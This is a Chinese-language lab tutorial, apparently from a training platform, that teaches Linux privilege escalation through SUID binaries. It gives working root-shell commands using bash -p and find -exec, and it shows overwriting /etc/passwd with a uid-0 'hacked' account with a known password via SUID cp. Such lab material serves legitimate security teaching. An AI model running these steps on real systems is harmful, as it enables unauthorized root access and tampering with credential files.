介绍
在本实验中,你将学习 SUID(Set user ID upon execution,执行时设置用户 ID)权限,以及如何利用它在 Linux 系统上进行权限提升。目标是通过利用 SUID 二进制文件,结合 bash、find、cp 和 mv 等命令,获取 root 权限。
在本实验中,你将学习 SUID(Set user ID upon execution,执行时设置用户 ID)权限,以及如何利用它在 Linux 系统上进行权限提升。目标是通过利用 SUID 二进制文件,结合 bash、find、cp 和 mv 等命令,获取 root 权限。
在这一步中,你将了解 SUID 权限的概念及其意义。
通常情况下,当程序在 Linux 上执行时,它会以当前用户的权限运行。然而,某些程序(如 cp)需要提升权限才能执行某些操作,例如将文件复制到受限制的目录中。为了让普通用户能够以提升的权限执行此类程序,可以在可执行文件上设置 SUID 权限。
SUID 代表“执行时设置用户 ID”(Set user ID upon execution)。当文件设置了 SUID 权限时,无论执行它的用户是谁,它都会以文件所有者的权限运行。例如,cp 命令由 root 用户拥有,并且设置了 SUID 位,允许任何用户以 root 权限执行它。
要检查 cp 命令的 SUID 权限并将输出保存到文件中,请运行以下命令:
ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt
使用以下命令查看 suid_cp.txt 文件的内容:
cat /home/labex/project/suid_cp.txt
预期输出:
-rwsr-xr-x 1 root root 141832 Feb 8 2024 /usr/bin/cp
你应该会在权限位中看到一个 s,这表示 SUID 权限已设置。
虽然 SUID 可以用于允许普通用户运行特定的特权命令,但如果 SUID 二进制文件提供了执行系统命令或修改文件的功能,它也可能被利用。
在这一步中,你将学习如何利用具有 SUID 权限的 bash 命令进行权限提升。
首先,打开终端并导航到 /home/labex/project 目录。
cd /home/labex/project
检查 bash 命令的权限。
ls -l /bin/bash
预期输出:
-rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash
如果 bash 命令设置了 SUID 位,你可以使用以下命令以 root 权限执行系统命令:
bash -p
使用 whoami 命令,你可以验证是否获得了 root shell。
whoami
预期输出:
root
现在,你可以在 /root 目录下创建一个名为 root.txt 的文件,并验证文件内容。
touch /root/root.txt
你应该会在 /root 目录中看到 root.txt 文件。
在这一步中,你将学习如何利用具有 SUID 权限的 find 命令进行权限提升。
在上一步之后,你应该已经获得了一个 root shell。为了完成这一步,你需要通过 exit 命令或打开一个新的终端,退出 root shell 并以 labex 用户重新登录。
首先,导航到 /home/labex/project 目录:
cd /home/labex/project
检查 find 命令的权限:
ls -l /usr/bin/find
如果 find 命令设置了 SUID 位,你可以利用它以 root 权限执行系统命令。
使用 find 执行命令的语法如下:
find < file > -exec < command > \;
其中,<file> 可以是任意文件。让我们创建一个名为 test 的文件:
touch test
现在,你可以使用 find 执行命令:
find test -exec whoami \;
这将以 root 权限执行 whoami 命令。然而,这种方法对于像 ssh 或 su 这样的交互式命令并不方便。
为了获得一个更方便的 root shell,你可以执行 /bin/bash 命令:
find test -exec /bin/bash -p \;
注意:-p 标志是必要的,用于保留有效用户 ID(EUID)并防止其被重置为真实用户 ID(RUID)。
你现在应该已经获得了一个 root shell。在 /root 目录下创建一个名为 root.txt 的文件,并验证文件内容:
touch /root/root.txt
你应该会在 /root 目录中看到 root.txt 文件。
在这一步中,你将学习如何利用具有 SUID 权限的 cp 和 mv 命令,通过修改 /etc/passwd 或 /etc/shadow 文件进行权限提升。
在上一步之后,你应该已经获得了一个 root shell。为了完成这一步,你需要通过 exit 命令或打开一个新的终端,退出 root shell 并以 labex 用户重新登录。
首先,导航到 /home/labex/project 目录:
cd /home/labex/project
检查 cp 命令的权限:
ls -l /bin/cp
如果 cp 命令设置了 SUID 位,你可以继续利用它。
将 /etc/passwd 文件的内容复制到你的主目录下的一个文件中:
cat /etc/passwd > /home/labex/project/passwd
创建一个新的用户条目,包含以下信息:
用户名:hacked
密码:pass123
在 /home/labex/project/passwd 文件的末尾插入以下行:
echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
现在,使用具有 SUID 权限的 cp 命令覆盖 /etc/passwd 文件:
cp /home/labex/project/passwd /etc/passwd
覆盖文件后,你可以使用 su 命令切换到 hacked 用户,密码为 pass123:
su hacked
由于 hacked 用户的用户 ID(uid)为 0,你将拥有 root 权限。
mv 命令的利用方法与 cp 类似。你可以自己尝试。
在这一步中,你将学习如何查找系统中可能被用于权限提升的 SUID 二进制文件。
你可以使用以下命令列出所有设置了 SUID 位的可执行文件:
find / -user root -perm -4000 -print 2> /dev/null
find / -perm -u=s -type f 2> /dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
导航到 /home/labex/project 目录以执行以下步骤。
cd /home/labex/project
选择任意一个命令来列出系统中的 SUID 二进制文件并分析输出。
find / -user root -perm -4000 -print 2> /dev/null > check_results.txt
检查 check_results.txt 文件的内容以查看系统中的 SUID 二进制文件列表。
cat check_results.txt
然而,输出可能包含许多无法用于权限提升的文件,需要手动分析。
在本实验中,你学习了 SUID 权限以及如何利用各种 SUID 二进制文件(如 bash、find、cp 和 mv)在 Linux 系统中进行权限提升。你通过实际操作获得了利用这些二进制文件获取 root 访问权限的经验,这是网络安全领域中的一项关键技能。实验提供了一个实际场景,并引导你逐步理解和有效应用这些技术。